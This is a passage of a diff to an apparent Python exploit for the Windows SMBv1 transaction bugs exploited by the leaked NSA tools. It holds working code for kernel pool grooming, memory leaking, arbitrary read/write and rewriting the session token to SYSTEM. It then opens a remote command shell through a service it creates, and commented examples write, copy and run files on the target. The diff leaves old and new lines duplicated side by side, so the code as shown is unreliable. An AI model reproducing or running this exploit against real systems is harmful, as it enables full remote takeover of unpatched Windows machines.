transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
transCmd['Parameters']['TotalDataCount'] = totalDataCount
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
transCmd['Parameters']['MaxDataCount'] = maxDataCount
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['Function'] = function
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
return self.recvSMB()
def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY)
transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
transCmd['Parameters']['TotalDataCount'] = len(data)
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
def recv_transaction_data(self, mid, minLen):
data = b''
while len(data) < minLen:
recvPkt = self.recvSMB()
if recvPkt['Mid'] != mid:
continue
resp = smb.SMBCommand(recvPkt['Data'][0])
data += resp['Data'][1:] # skip padding
#print(len(data))
return data
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
self.__outputFilename = ''.join([random.choice(string.letters) for _ in range(4)])
self.__outputFilename = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
self.__output = '\\\\127.0.0.1\\{}\\{}'.format(self.__share,self.__outputFilename)
self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.letters) for _ in range(4)]))
self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.ascii_letters) for _ in range(4)]))
self.__outputBuffer = b''
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
self.__rpc = rpc
self.intro = '[!] Dropping a semi-interactive shell (remember to escape special chars with ^) \n[!] Executing interactive programs will hang shell!'
self.intro = '[!] Dropping a semi-interactive shell (remember to escape special chars with ^) \n[!] Executing interactive programs will hang shell!'
self.__scmr = rpc.get_dce_rpc('svcctl')
try:
self.__scmr.connect()
except Exception as e:
@@ -446,7 +445,7 @@ class RemoteShell(cmd.Cmd):
# Just in case the service is still created
try:
self.__scmr = self.__rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
@@ -580,4 +579,3 @@ class SMBServer(Thread):
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
+146 -71
View File
@@ -84,7 +84,7 @@ struct SrvSecContext {
}
SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
@@ -288,7 +288,7 @@ def reset_extra_mid(conn):
global extra_last_mid, special_mid
special_mid = (conn.next_mid() & 0xff00) - 0x100
extra_last_mid = special_mid
def next_extra_mid():
global extra_last_mid
extra_last_mid += 1
@@ -304,7 +304,7 @@ def leak_frag_size(conn, tid, fid):
# this method can be used on Windows Vista/2008 and later
# leak "Frag" pool size and determine target architecture
info = {}
# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
@@ -312,7 +312,7 @@ def leak_frag_size(conn, tid, fid):
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
@@ -329,7 +329,7 @@ def leak_frag_size(conn, tid, fid):
else:
print('Not found Frag pool tag in leak data')
sys.exit()
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
return info
@@ -344,7 +344,7 @@ def read_data(conn, info, read_addr, read_size):
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
# create one more transaction before leaking data
# - next transaction can be used for arbitrary read/write after the current trans2 is done
# - next transaction address is from TransactionListEntry.Flink value
@@ -353,10 +353,10 @@ def read_data(conn, info, read_addr, read_size):
# finish the trans2 to leak
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
# set new trans2 address
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
# set trans1.InData to &trans2
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
@@ -364,14 +364,14 @@ def read_data(conn, info, read_addr, read_size):
# modify trans2 mid
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
return read_data[8:] # no need to return parameter
def write_data(conn, info, write_addr, write_data):
# trans2.InData
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# write data
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn)
@@ -397,7 +397,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
# expected transactions alignment ("Frag" pool is not shown)
#
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
@@ -418,7 +418,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
print('Not found Frag pool tag in leak data')
return None
# ================================
# verify leak data
# ================================
@@ -460,16 +460,16 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
def exploit_matched_pairs(conn, pipe_name, info):
# for Windows 7/2008 R2 and later
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
info.update(leak_frag_size(conn, tid, fid))
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
# groom: srv buffer header
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
@@ -482,7 +482,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
# bride paramters and data is alignment by 4 because it is TRANS
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
# ================================
# try align pagedpool and leak info until satisfy
# ================================
@@ -496,14 +496,14 @@ def exploit_matched_pairs(conn, pipe_name, info):
print('[-] leak failleak failed... try again')
conn.close(tid, fid)
conn.disconnect_tree(tid)
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
if leakInfo is None:
return False
info['fid'] = fid
info.update(leakInfo)
@@ -518,7 +518,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
# maxParameterCount (0x1000), trans name (4), param (4)
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
indata_next_trans_displacement = info['trans2_addr'] - indata_value
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
conn.send_nt_trans_secondary(mid=fid, data=b'\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
@@ -535,7 +535,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
# but this method make the transation never get freed
# I will avoid memory leak
# ================================
# modify trans1 struct to be used for arbitrary read/write
# ================================
@@ -558,7 +558,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
def exploit_fish_barrel(conn, pipe_name, info):
# for Windows Vista/2008 and earlier
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
@@ -568,7 +568,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
if info['os'] == 'WIN7' and 'arch' not in info:
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
info.update(leak_frag_size(conn, tid, fid))
if 'arch' in info:
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
@@ -578,7 +578,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
# this case is only for Windows 2003
# try offset of 64 bit then 32 bit because no target architecture
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
# ================================
# groom packets
# ================================
@@ -588,8 +588,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
trans_param = pack('<HH', info['fid'], 0)
for i in range(12):
mid = info['fid'] if i == 8 else next_extra_mid()
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
# expected transactions alignment
#
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
@@ -602,7 +602,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
# ================================
# Dangerous operation: attempt to control one transaction
# ================================
@@ -614,9 +614,12 @@ def exploit_fish_barrel(conn, pipe_name, info):
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
conn.send_trans_secondary(mid=info['fid'], data=b'\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
@@ -630,7 +633,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
break
if recvPkt.getNTStatus() != 0:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
if not success:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
@@ -641,8 +644,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
# because of this unfreed memory chunk. I will avoid it.
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
# transactions (do not know the address).
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
@@ -651,24 +654,24 @@ def exploit_fish_barrel(conn, pipe_name, info):
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
# we also modify HIDWORD of InParameter to 0xffffffff.
print('modify parameter count to 0xffffffff to be able to write backward')
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
conn.send_trans_secondary(mid=info['fid'], data=b'\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
if info['arch'] == 'x64':
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
conn.send_trans_secondary(mid=info['fid'], data=b'\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
# modify paramterCount of first transaction
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
conn.send_nt_trans_secondary(mid=special_mid, param=b'\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
conn.send_nt_trans_secondary(mid=special_mid, param=b'\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
# restore trans2.InParameters pointer before leaking next transaction
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
conn.send_trans_secondary(mid=info['fid'], data=b'\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
# ================================
@@ -677,7 +680,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
print('leak next transaction')
# modify TRANSACTION member to leak info
# function=5 (NT_TRANS_RENAME)
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
conn.send_trans_secondary(mid=info['fid'], data=b'\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
@@ -698,18 +701,18 @@ def exploit_fish_barrel(conn, pipe_name, info):
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InData: 0x{:x}'.format(indata_value))
print('MID: 0x{:x}'.format(trans2_mid))
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print('TRANS1: 0x{:x}'.format(trans1_addr))
print('TRANS2: 0x{:x}'.format(trans2_addr))
# ================================
# modify trans struct to be used for arbitrary read/write
# ================================
@@ -721,12 +724,12 @@ def exploit_fish_barrel(conn, pipe_name, info):
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
# modify trans1.mid
trans1_mid = conn.next_mid()
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
info.update({
'connection': connection_addr,
'session': session_addr,
@@ -748,20 +751,20 @@ def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroup
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
attrs = [ 0, 0xe, 7, 7 ]
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
# fake user and groups will be in same buffer of original one
# so fake sids size must NOT be bigger than the original sids
fakeUserAndGroupCount = min(userAndGroupCount, 4)
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
fakeUserAndGroups = ''
fakeUserAndGroups = b''
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
addr += len(sid)
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
fakeUserAndGroups += b''.join(sids[:fakeUserAndGroupCount])
return fakeUserAndGroupCount, fakeUserAndGroups
def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
@@ -774,7 +777,7 @@ def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroup
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
# ...
userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)
# RestrictedSidCount MUST be 0
@@ -796,7 +799,7 @@ def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroup
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
return success, userAndGroupCount, userAndGroupsAddr
return success, userAndGroupCount, userAndGroupsAddr
def get_group_data_from_token(info, tokenData):
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
@@ -806,7 +809,7 @@ def get_group_data_from_token(info, tokenData):
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
# hack to fix XP SP0 and SP1
# I will avoid over-engineering a more elegant solution and leave this as a hack,
# I will avoid over-engineering a more elegant solution and leave this as a hack,
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
@@ -829,28 +832,100 @@ def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as fp:
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):
import random
import string
from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ''.join([random.choice(string.ascii_letters) for i in range(4)])
# Setup up a DCE SMBTransport with the connection already in place
rpcsvc = conn.get_dce_rpc('svcctl')
rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svcHandle = None
try:
print("Opening SVCManager on %s....." % conn.get_remote_host())
resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle']
# First we try to open the service in case it exists. If it does, we remove it.
try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
except Exception as e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e # Unexpected error
else:
# It exists, remove it
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
print('Creating service %s.....' % service_name)
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle']
if serviceHandle:
# Start service
try:
print('Starting service %s.....' % service_name)
scmr.hRStartServiceW(rpcsvc, serviceHandle)
# is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called
#print('Stoping service %s.....' % service_name)
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception as e:
print(str(e))
print('Removing service %s.....' % service_name)
scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception as e:
print("ServiceExec Error on: %s" % conn.get_remote_host())
print(str(e))
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
rpcsvc.disconnect()
def do_system_mysmb_session(conn, pipe_name, share, mode):
#stringbinding = 'ncacn_np:10.11.1.75[\pipe\svcctl]'
print("[*] have fun with the system smb session!")
# example of creating a remote shell on the remote host
if mode == 'SERVER':
serverThread = SMBServer()
serverThread.daemon = True
serverThread.start()
service_name = ''.join([random.choice(string.letters) for _ in range(4)])
service_name = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
shell = RemoteShell(share, conn, mode, service_name)
shell.cmdloop()
if mode == 'SERVER':
serverThread.stop()
# print('creating file c:\\pwned.txt on the target')
# tid2 = smbConn.connectTree('C$')
# fid2 = smbConn.createFile(tid2, '/pwned.txt')
if mode == 'SERVER':
serverThread.stop()
# example of creating a file on the remote host
#smbConn = conn.get_smbconnection()
#print('creating file c:\\pwned.txt on the target')
#tid2 = smbConn.connectTree('C$')
#fid2 = smbConn.createFile(tid2, '/pwned.txt')
#smbConn.closeFile(tid2, fid2)
#smbConn.disconnectTree(tid2)
# example of running a command on the remote host
#smbConn = conn.get_smbconnection()
#service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# example of sending a file to the remote host
#smbConn = conn.get_smbconnection()
#print('Sending file to the the target...')
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
#print('done.')
# example of executing a file on the remote host
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
@@ -858,7 +933,7 @@ def do_system_mysmb_session(conn, pipe_name, share, mode):
def exploit(target, port, username, password, pipe_name, share, mode):
conn = MYSMB(target, port)
# set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
@@ -894,7 +969,7 @@ def exploit(target, port, username, password, pipe_name, share, mode):
else:
print('This exploit does not support this target')
sys.exit()
if pipe_name is None:
pipe_name = conn.find_named_pipe()
if pipe_name is None:
@@ -908,12 +983,12 @@ def exploit(target, port, username, password, pipe_name, share, mode):
# Now, read_data() and write_data() can be used for arbitrary read and write.
# ================================
# Modify this SMB session to be SYSTEM
# ================================
# ================================
fmt = info['PTR_FMT']
print('[*] make this SMB session to be SYSTEM')
# IsNullSession = 0, IsAdmin = 1
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], b'\x00\x01')
# read session struct to get SecurityContext address
sessionData = read_data(conn, info, info['session'], 0x100)
@@ -923,7 +998,7 @@ def exploit(target, port, username, password, pipe_name, share, mode):
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
# find the token and modify it
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
@@ -934,10 +1009,10 @@ def exploit(target, port, username, password, pipe_name, share, mode):
tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
print('[+] current TOKEN addr: 0x{:x}'.format(tokenAddr))
# copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
# parse necessary data out of token
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
@@ -958,7 +1033,7 @@ def exploit(target, port, username, password, pipe_name, share, mode):
# ================================
# do whatever we want as SYSTEM over this SMB connection
# ================================
# ================================
try:
# can use contextual info object
do_system_mysmb_session(conn, pipe_name, share, mode)
@@ -985,7 +1060,7 @@ def exploit(target, port, username, password, pipe_name, share, mode):
def main():
parser = argparse.ArgumentParser()
parser.add_argument('target', action='store',
help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-share', action='store', default = 'C$',
@@ -996,7 +1071,7 @@ def main():
help='Turn DEBUG output ON')
group = parser.add_argument_group('connection')
group.add_argument('-target-ip', action='store', metavar="ip address",
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
@@ -1034,4 +1109,4 @@ def main():
exploit(options.target_ip, int(options.port), username, password, options.pipe, options.share, options.mode)
print('Done')
main()
main()